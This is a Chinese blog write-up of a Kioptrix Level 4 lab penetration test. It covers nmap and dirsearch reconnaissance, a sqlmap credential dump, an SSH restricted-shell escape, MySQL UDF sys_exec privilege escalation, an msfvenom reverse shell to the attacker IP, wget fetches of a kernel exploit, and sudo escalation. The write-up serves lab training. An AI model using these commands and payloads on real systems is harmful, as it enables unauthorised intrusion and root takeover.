声明! 学习视频来自B站up主 **泷羽sec** 有兴趣的师傅可以关注一下,如涉及侵权马上删除文章,笔记只是方便各位师傅的学习和探讨,文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec团队无关,切勿触碰法律底线,否则后果自负!!!!有兴趣的小伙伴可以点击下面连接进入b站主页[B站泷羽sec](https://space.bilibili.com/350329294)
靶场:Kioptix Level 4靶场渗透测试
攻击机:kali-linux-2024
第一部分:信息收集
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
靶机IP地址192.168.23.151,攻击机IP地址192.168.23.140
3,扫描靶机端口服务
nmap -sS -sV -n -T4 -p- 192.168.23.151
渗透测试主要利用点还是80端口开启的http服务
4,访问一下192.168.23.151
是一个登录页面。一般是存在sql注入的
5,深化信息收集,对网站子目录进行爆破扫描
dirsearch -u 192.168.23.151 -x 404,403,400
其中index.php就是初始登录页面
6,whatweb对网站指纹信息进行扫描识别
可能会存在中间件或后端语言的漏洞,但还是先验证登录网站是否具有sql注入漏洞
7,sqlmap自动化测试有无sql注入漏洞。首先通过burp suite抓一个请求包
然后将这个请求复制黏贴到sql.txt当中
sqlmap -r sql.txt --level 5 --risk 3
sqlmap报告说参数'Referer'似乎不可注入,并且所有测试的参数都不具备可注入性。以下是一些建议,可以帮助您进一步调查和解决问题:
- 检查WAF或防护机制:如果目标站点有Web应用防火墙(WAF)或其他防护机制,可能会阻止sqlmap的注入尝试。您可以尝试使用--tamper选项来绕过这些防护机制。例如,使用--tamper=space2comment来替换空格为注释符号,或者尝试其他tamper脚本。
- 使用随机User-Agent:有些网站会根据User-Agent来过滤请求,导致注入测试失败。您可以尝试使用--random-agent选项来随机化User-Agent。
- 手动测试注入点:如果sqlmap无法自动检测到注入点,您可以尝试手动测试。首先,确认您要测试的参数是否确实存在注入漏洞。然后,使用sqlmap的手动注入功能,指定具体的注入点和注入类型。
- 调整sqlmap的选项:sqlmap有很多选项,可以帮助您更好地控制注入测试的过程。例如,您可以使用--level和--risk选项来调整测试的深度和风险级别。还可以使用--dbms选项来指定目标数据库的类型,以便sqlmap更准确地构造注入语句。
- 查看详细的日志信息:sqlmap会在测试过程中生成详细的日志信息,您可以查看这些日志来了解sqlmap的测试过程和结果。使用--verbose选项可以增加日志的详细程度。
更换一些参数进行sql注入
sqlmap -r sql.txt --dump --batch --level 3
-r sql.txt
表示从文件sql.txt 中读取HTTP请求。这个文件应该包含一个完整的HTTP请求,例如一个包含可能存在SQL注入点的URL、请求方法(如GET或POST)、请求头和请求体(如果是POST请求)等信息。
--dump
这个参数指示sqlmap尝试从数据库中导出(转储)数据。如果发现了可利用的SQL注入点并且有足够的权限,sqlmap会将数据库中的表数据提取出来。
--batch
使sqlmap以非交互模式运行。在这种模式下,sqlmap会自动选择默认选项,不需要用户手动输入(例如,对于一些需要确认的操作,它会自动按照默认设置进行)。
--level 3
设置检测的级别为3。sqlmap有不同的检测级别,级别越高,它会尝试更多的检测技术和payload。一般来说,级别越高,检测的准确性可能越高,但同时也可能需要更多的时间和资源。
得到john/MyNameIsJohn;roba/ADGAdsafdfwt4gadfga==
可以正常登录进去,但是没有什么用
8,因为开启了22端口ssh服务,所以就可以尝试ssh登录
登录失败,本地的SSH客户端与远程服务器在密钥类型协商方面出现了问题。在一些较新的系统或软件版本中,可能由于安全策略升级,不再支持旧的密钥类型,如SHA1算法相关的密钥类型,而远程服务器提供的ssh - rsa或ssh - dss可能基于这些旧算法
ssh -o HostKeyAlgorithms=+ssh-rsa john@192.168.23.151
这是SSH命令的一个选项。-o用于指定SSH的配置选项,类似于在~/.ssh/config文件中设置的选项。
HostKeyAlgorithms=+ssh-rsa:此选项指定了在建立SSH连接时,允许使用的主机密钥算法。
HostKeyAlgorithms:这个选项用来控制客户端支持的主机密钥算法。
+ssh-rsa:这表示在当前默认的密钥算法列表中添加ssh-rsa。即使ssh-rsa可能在SSH客户端的默认设置中被禁用,+ssh-rsa允许此算法被启用,允许与远程主机使用RSA密钥进行身份验证。
可以看到ssh登录成功
9,接下来就需要进行基础的信息收集
发现能够使用的命令很少。登录成功的时候提示了通过help命令查看该用户可以使用的命令
提权利用点也就在这些命令上,这里选择shell逃逸(其实就是通过echo命令创建了一个交互式shell会话)
echo os.system("/bin/bash")
echo 命令本身不会执行Python代码。在Shell中,echo os.system("/bin/bash") 仅仅会输出字符串 os.system("/bin/bash") ,而不会实际执行这个Python代码。
os.system 函数在Python中执行Shell命令。如果在Python脚本中执行 os.system("/bin/bash") ,它会启动一个新的交互式Shell会话
逃逸之后能够使用的命令就多了
10,接下来继续信息收集
id
uname -a
lsb_release -a
可以看到操作系统版本是比较低的,应该可以利用内核公开的exp进行提权
11,另一种方法还需要信息收集,pstree查看进程树发现靶机开启了mysql服务,那么可以查看mysql的配置文件来看到数据库登录密码
/var/www/john
可以看到是没有密码的,这就可以直接进行免密登录
12,数据库当中进行信息收集
show databases;
使用members数据库 use members
查看所有的表 show tables;
13,通过mysql提权,这里使用udf方法,首先查看mysql_func表(mysql函数表,自定义函数和预定义函数)
利用 sys_exec()函数将roba用户添加到管理员组
select sys_exec('usermod -a -G admin john');
sudo su john (用于切换到超级用户"root"的shell)输入账号密码,提权成功
提权的第二种方法:利用sys_exec函数反弹shell
13,开启443端口监听,尝试使用函数执行命令访问443端口
select sys_exec("wget http://192.168.23.140:443/");
攻击机kali linux打开对443端口的监听
命令执行成功。然后使用msfvenom生成反弹shell 的程序
msfvenom -p linux/x86/shell_reverse_tcp LHOST = 192.168.23.140 LPORT = 4444 -f elf > reverse_shell.elf
上传到目标主机并执行,成功获取root权限
提权的第三种方法:针对操作系统版本过低的内核(失败)
11,检索公开的提权exp,过滤关键字是内核版本号
searchsploit privilege | grep linux | grep 2.6.2
应该是使用9083.c,导出来查看这个exp
searchsploit 9083.c -m
查看并理解这个exp的注释内容
针对特定CVE(通用漏洞披露,CVE - 2009 - 1046)的漏洞利用代码的注释部分。它指出这是一个在Linux内核(版本 <= 2.6.28.3)中虚拟控制台UTF - 8的set_selection()函数存在的off - by - one(或off - by - two)内存 corruption(内存损坏)漏洞利用代码。代码由sgrakkyu编写,并给出了其联系方式(sgrakkyu antifork.org )以及相关的博客文章链接( http://kernelbof.blogspot.com/2009/07/even-when-one-byte-matters.html )。
[标题:利用条件]
- NOTE - 1相关条件:需要一个连接到标准输出(stdout)的虚拟控制台。可以通过物理登录、对已经连接到虚拟控制台(VC)且具有相同用户ID(uid)的进程进行ptrace()操作或者远程管理等方式实现。
- NOTE - 2相关条件:使用的UTF - 8字符为U+253C,大多数标准控制台字体似乎都支持该字符。如果不支持,则需要更改这个字符(并且相应地更改STREAM_ZERO和STREAM_ZERO_ALT定义),否则可能会出现递归致命错误(recursive fatal ooops)。
- 系统相关条件:被设计为仅构建为x86 - 64二进制文件(仅适用于SLUB),并且系统中必须有SCTP栈可用。
[标题:测试目标]
该漏洞利用代码在以下目标上进行过测试:
- Ubuntu 8.04 x86_64(2.6.24_16 - 23 generic/server)
- Ubuntu 8.10 x86_64(2.6.27_7 - 10 genric/server)
- Fedora Core 10 x86_64(默认安装内核 - 无selinux)
12,攻击机开启http服务 python -m http.server
在攻击机上面wegt下载
wegt http://192.168.23.140:8000/9083.c
13,对下载的exp进行编译,gcc -o 9083 9083.c
这个方法不成功,因为linux靶机没有预装gcc编译器
第四种方法,sudo直接提权
10,首先查看一下什么情况下可以使用sudo -l
用户"john"在该主机上拥有广泛的权限,可以以任意用户的身份执行任意命令,这通常表示该用户在该主机上具有完全的sudo权限。这种权限设置在实际生产环境中应当非常谨慎地分配,因为拥有这种权限的用户可以对系统进行任何操作,包括但不限于读取、修改或删除任何文件,安装或卸载软件,以及其他任何系统管理操作
11,可以直接使用sudo命令进行提权
sudo -u root /bin/bash
命令功能
sudo -u root /bin/bash是一个在类Unix系统(如Linux)中使用的命令。sudo(superuser do)的作用是允许普通用户以超级用户(root)的权限执行特定的命令。在这里,-u root明确指定以root用户的身份来执行后面的命令,/bin/bash是要执行的命令,这意味着以root用户身份启动一个新的bash shell。
安全性考虑
- 以root身份运行命令具有很高的权限,如果在这个新的bash shell中执行了错误的操作(例如误删除重要系统文件等),可能会对系统造成严重的破坏。
- 一般情况下,应谨慎使用sudo以root身份运行命令,并且只有在确实需要root权限的操作时才执行。
应用场景
- 当需要执行一些系统级的配置操作,如修改系统级别的配置文件(/etc目录下的一些文件),安装系统级的软件包(在某些系统中需要root权限才能安装到全局位置)等情况时,可能会使用到这个命令来获取root权限的bash shell以便执行一系列相关操作。
最后成功得到flag
标签:sqlmap,Kioptix,--,Level,192.168,命令,ssh,靶场,root From: https://blog.csdn.net/zhongyuekang820/article/details/144343118